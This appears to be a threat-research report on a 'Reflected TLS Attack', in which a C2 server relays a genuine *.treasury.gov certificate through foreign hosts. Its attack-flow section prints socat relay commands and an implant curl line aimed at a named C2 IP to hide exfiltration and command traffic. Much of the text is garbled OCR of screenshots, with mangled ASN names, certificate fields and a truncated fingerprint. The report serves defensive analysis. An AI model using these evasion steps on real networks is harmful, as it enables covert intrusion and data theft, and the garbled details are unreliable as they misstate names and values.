Red cell background indicates China affiliation, blue indicates Russia affiliation.
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Executive Summary

Investigators have identified a novel evasion technique we are calling a Reflected TLS Attack. This approach enables a threat actor to
proxy legitimate, unrevoked *.treasury.gov wildcard TLS certificates through foreign infrastructure—without compromising any private
keys.

A series of IP addresses in Singapore and South Korea, associated with Alibaba Cloud or its peering partners, were found presenting a
valid wildcard *.treasury.gov certificate (SHA-256: 68e11f5c117a0f4b99a664a9c3485471c27f5982f849f667db11320d371b). At first
glance, this raised the alarm that a Chinese state actor may have compromised the Treasury’s TLS infrastructure.

However, deeper analysis revealed a simpler, yet equally concerning explanation: a TLS reflection technique in which a Command and
Control (C2) server mirrors a legitimate certificate from a Treasury-controlled IP that does not enforce SNI, thereby appearing authentic
to scanners like Shodan or Censys, and bypassing traditional firewalls or IDS.

This method does not intercept or decrypt traffic but instead cloaks malicious traffic under the appearance of legitimate Treasury HTTPS
sessions. The traffic is end-to-end encrypted with the real Treasury server’s certificate, reflected by a proxy that never sees plaintext
data. This form of evasion represents a stealthy and high-confidence way for threat actors to exfiltrate data or receive commands
without raising suspicion.
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» MNETWORKS (A5}

ALIBABA-CN-MET Hangzhou Alibaba
Adwertising Cr, Ltd.

TEMCEMT-MET-AF Shenzhen Tencent
Cemputer Systems Company Limited

CHINAMNET-BACKEBOME Me31 Jin-roeng
Straet

HWCEMET Huawei Cloud Service data
center

CHIMNATES-BACKBOME CHIMA UMNICORM
China162 Backbone

CHIMAMOBILE-CM China Mohile
Communications Group Co., Ltd.

CHIMAIED-BJ China Unicom Beijing
Proeswince Metwork

CHIMATELECOM-FUJAN-FUZHOU-IDC
Fuzheu

YOLCANO-ENGIME Beijing Veleano Engine
Technelogy Cr., Ltd,

CHIMATELEGOM-CTCLOUD Cleud
Cromputing Corpoeraticn

CMMET-V4HEMAM-AS-AP Henan Mobile
Communications Co., Ltd

CMMET-VASHANDOMG-A5-AP Shandong
Mebile Communication Company Limited

CHIMAMET-SH-AF China Telecom Group

CMMET-HEILOMGJIAMG-GM HeiLlengdiang
Mobile Cemmunication Cempany Limited

ALIBABA-CMN-MET Alibaba US Technol oy
Co., Ltd.

CHIMATELECOM-IDC-BTHED-AP China
Telecom Beijing Tianjin Hebei Big Data
Industry Park Branch

AMATON-D2

CHIMAMET-SCIDC-AS5-AP CHIMAMET
SiChuan Telecom Internet Data Centar
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BF
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w METWORKS (AS) @ A

ALIBABA-CM-MNET Hangzheu Alibabka

375
Advertising Cre, Ltd.
TEMCEMT-MET-AF Shenzhen Tencent
164
Computer Systems Company Limited
CHINANET-BACKBOME MNe31 Jin-roeng
BB
Street
HWCEMET Huawei Cleud Service data
57
center
CHIMAIE2-BACKBOME CHIMA UMIGOM o
Chinale2 Backbone
CHIMAROBILE-CM China Muabile
Communicaticns Group Co., Ltd, e
CHIMAIER-BJ China Unicom Beijing
21
Provincs Metwork
CHIMATELECOM-FUJAN-FUZHOU-1DET .
Fuzhou
YOLCANO-ENGIME Beijing Velcano Engine
14
Technology Co., Ltd.
CHIMATELECOM-CTCLOUD Cleud
G
Cemputing Corporaticn
CMMET-YAHEMAMN-A5-AP Henan Mobile
G
Crommunicaticns G, Ltd
CMMET-V45HAMDOMG-AS-AP Shandeng .

Mobile Cemmunication Cempany Limited
CHIMAMET-SH-AF China Telecom Grodp 7

CMMET-HEILOMNGJIANG-CN HeiLengliang
Mebile Communication Company Limited

ALIBABA-CMN-MET Alibaba LS Technol oy
Co., Ltd.

CHIMATELECOM-IDC-BTHED-AP China
Telecom Beijing Tianjin Hebei Big Data &
Industry Parlk Branch

AMAZOMN-02 5

CHIMAMET-SCIDC-AS-AP CHIMAMET
SiChuan Telecom Internet Data Centar

g

v

At first, we were alarmed that China-sponsored actors may
have somehow compromised the private key of the TLS certificate used by a wide range of sensitive Treasury Department hosts.
A non-exhaustive list of treasury.gov domains that share the TLS certificate in question include:
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China-linked IP addresses - *.treasury.gov and 400yaahc.gov

earch @ hostip="8.219.147 115"

etviees Ewent History CVEs O Raw Data

UNKNOWN 443 (TCP

T LAST OBSERVED

TLE HANDEHAKE

Warsion Selactad

Ciphaer Salactad

CERTIFICATE
Fingarprint
Subjact DN
|sEuEr Or

MNameas

RDP 3388 /TCP

 LAST OESERVED

DETAILE

X224 Co Pdu Srcraf

TLE HAMDEHAKE
Warsion Selactad
Ciphaer Salactad

CERTIFICATE
Fingargrint
Subjact DN
|sEuEr Or

MHamas

MARID, 2025 1414 UTC

TLSw13

TLS_AES_256 GCWM_SHAZR4

25eldbedafabad 0d5elha21MO00053375246aad 46104 030 e 002 c DEafDFRETDC
CMN=400yaahec.goy
C=US%S, O=Let's Encrypt, CN=R10

400yaahe.goy, consumearactioh.gey, fedideard.gov, firstgowgoy, formsgoy, fpiscogey, gobierncusangow, gsagoe

REMOTE_ACCESS

MAR 23, 20235 188 UTC

12230

TLSw13

TLS_AES_256 GCWM_SHAZR4

S00bE1201212de? 03306804 cedBhcebalbd bafb2 004 035082024 be30ceaFa?
CM=iZhaEvdusoypsgd
CH=iZh5&vdusoypsgl

IZh5Evdusoy peg s

152.67.204.133 March 23, 2025 @ 18:08 UTC Treas cert first observed



Changed Fields

(@ SERVICE SCAMMED MAR 23, 2025 1B:0DB UTC

Fleld Old

tls.prasantad_chain[D].fingarprint_sha2s
B

tlzvarsion_salactad
tls.jalds

tlzvarsionz0] jads

tls.prasantad_chain[D].subject_dn

tlzvarsionz0] jazs
tlz.fingarprint_sha2se
tisvarsions[] varsian

tlz.jads

tls.prasantad_chain[D].issuar_dn

tlz.ciphar_salactad

is_succass

152.67.204.133 Mar 24, 2025 @ 10:17 UTC - Temp removes Treas cert

Changed Fields
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217.142.144.30 @ March 24, 2025 @ 18:54 UTC presents Treas SSL/TLS first time (within 1 week observable from my Censys

account, can ask to pull more but it’s prob the first)
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On further inspection, the behavior can be explained by a deceptively simple yet highly effective alternative to a Man-in-the-Middle

attack we will call a Reflected TLS Attack.

US Patent and Trademark Office Hostnames in China
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Reflected TLS Attack Flow Overview
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Objective: Once inside the Treasury’s network, a threat actor will make a covert outgoing connection to its C2 server to exfiltrate
data and receive commands while bypassing IDS and firewall settings. The C2 uses the socat command to proxy traffic from its
listening port to a legitimate Treasury.gov IP address and back again, thus reflecting the legitimate TLS handshake. While MITM attacks

seek to alter or intercept data in transit, the Reflected TLS attack’s purpose is to make a C2 server appear legitimate in order to bypass

detection.

Step 1

Infiltrate Treasury Department’s network and infect a machine with the exploit method of choice.

Step 2

Identify an Akamai edge node or Treasury-controlled IP that serves a valid TLS certificate without requiring SNI (server name

indication).




We will use the real example 164.95.89.25, a bare Treasury IP that serves Treasury’s PKI homepage pki.treasury.gov with valid TLS
certificate. (Not sure why HTTPS is not enforced.)

© Not secure  hibps /164 95.89.25
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Certificate Viewer. *.treasury.gov '
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Issued By
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Organization () Entrust, Inc.
Organizational Unit (OU)  See www.entrustnet/legal-terms

walidity Period
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SHA-256
Fingerprints
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h7cd
Public Key 21abcIaleebcfbed 26fSd170a40f6235e44 058670597 1834 18565084733
3ezb

Step 3

The C2 server 8.219.207.49 uses socat to reflect traffic from a local listening port to a Treasury.gov IP address that serves a valid
certificate without SNI enforcement. This creates a mirrored TLS session that makes the C2 server appear legitimate.

# Bind C2 port 51245 — IP address serving pki.treasury.gov with no SNI

socat TCP4-LISTEN:51245,fork,reuseaddr TCP4:164.95.89.25:443

# Redirect port 443 — C2 daemon on port 51245

socat TCP4-LISTEN:443 fork,reuseaddr TCP4:127.0.0.1:51245

As a result, scanners like Shodan or Censys observing the attacker’s infrastructure will see a valid Treasury.gov TLS certificate—on
either standard or nonstandard ports—without the server ever possessing the private key.

Step 4

Implant runs curl command with -k (skip verification) and —resolve options
curl -k --resolve treasury.gov:443:8.219.207.49 https://pki.treasury.qov

Step 5

The implant can securely exfiltrate sensitive data or receive commands within a TLS-encrypted channel, without triggering traditional
detection mechanisms.

Having established a secure HTTPS tunnel to C2 without modifying any host file or connecting to a non-standard port, the implant can
exfiltrate data and receive commands without fear of raising suspicion.

BGP Analysis Ruling Out Edge Behavior as Explanation

Taking great inspiration from the Censys blog post “Hey, That's Not My Server!” we decided to rule out the possibility that this strange
TLS certificate behavior was caused by Akamai’s open peering policy. Akamai states “we openly peer with any network at IXP locations
where we are mutually present.”First, we gathered a list of 38 known Akamai ASNs. Then, we created a CSV where each row
represented an Akamai-Target ASN pair. We wrote a python script that checked each of these Akamai-Target ASN pairs for either
unidirectional (Target seeing Akamai or vice versa) or mutual visibility suggesting peering on the date each certificate was observed on
the target ASN.

The results, apart from a few API timeouts, show that there was no visibility between any of the tested Akamai ASNs and target ASNs
on the day and time in question. This strengthens the argument that the unexpected foreign hosts displaying TLS certificates was not
due to Akamai’s auto-peering policy.
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